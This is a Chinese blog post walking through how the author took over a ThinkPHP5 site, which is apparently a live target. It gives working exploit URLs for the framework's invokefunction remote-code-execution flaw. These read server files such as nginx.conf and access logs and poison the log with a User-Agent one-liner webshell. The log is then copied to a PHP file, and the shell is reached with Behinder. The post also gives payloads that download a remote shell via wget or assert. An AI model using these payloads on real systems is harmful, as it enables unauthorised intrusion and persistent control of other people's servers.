富贵长生天做主由不得我
钢骨正气我做主由不得天

thinkphp5 拿webshell

0x01: 远程代码执行漏洞。
所用的exp是:/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 ,能成功执行phpinfo,不出所料的不能执行命令等。
0x02:上传shell
在论坛搜索来一下很多这种关于thinkphp5的帖子,但是依次按照方法也没有成功。
1、尝试:?s=admin/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=info.php&vars[1][]=<?php phpinfo();?> 这种方式能写文件,
但是<>被转换,一直没有找到这个问题的解决办法,放弃这个方法。
2、尝试使用远程下载
简单的找了下远程获取的方法:
file_get_contents
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=http://baidu.com/1.txt&vars[1][]=info.php 但是这种结果没办法保存文件。
readfile
这个可以远程获取,但是没法保存结果
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=readfile&vars[1][]=http://baidu.com/1.txt&vars[1][]=info.php
copy
复制远程文件然而保存失败,但是复制本地的成功(可能是当时操作不当或者代码写错,导致后面进了坑才实现最终目标)
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][]=index.php&vars[1][2]=info.txt
3、getshell
前面测试发现copy可以成功复制文件文件,
所以思路是:
1、找个地方上传个图片马然后copy到php,但是目标没有开放注册,一时间找不到账户进去,也不确定普通会员有没有上传东西的功能。
2、能直接在服务器上留我们自定义的信息的话,通过网站的访问日志来实现我们的目的。
首先通过file_get_contents获取网站的配置信息找到日志路径(也可以使用常见默认的)
目标是nginx,默认路径:/usr/local/nginx/conf/nginx.conf
获取信息:/?s=index/think%5Capp/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=/usr/local/nginx/conf/nginx.conf
然后得到access_log的路径:/var/logdata/nginx/access.log
再去取日志:/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=/data/wwwlogs/access_nginx.log&vars[1][]=1
成功获取我们的信息,一开始是get一句话过去,但是日志里面还是过滤<>,所以直接把ua改成我们的一句话,
 

然后直接copy日志到php
/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][]=/data/wwwlogs/access_nginx.log&vars[1][2]=info.php
成功getshell;
4.连接shell.
php7的菜刀连接出现异常,看到大佬们说蚁剑好用,然后就是下了个,发现连接失败,看到报错信息提示证书不对,目标是https的。没去看蚂剑说明怎么配置证书,就没有去折腾了。
直接写了冰蝎的php代码进去,最后才连接成功。
补充一个姿势 /index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget -c “http://xxx.com/xxx.txt” -O shell.php
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=print_r(file_put_contents(%27xx.php%27,file_get_contents(%27https://www.baidu.com/x.txt%27)))
赞(2)
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《thinkphp5 拿webshell》
文章链接:https://www.lolmm.cn/wzbcg/401.html
本站资源仅供个人学习交流,请于下载后24小时内删除,不允许用于商业用途,否则法律问题自行承担。

评论 抢沙发

评论前必须登录!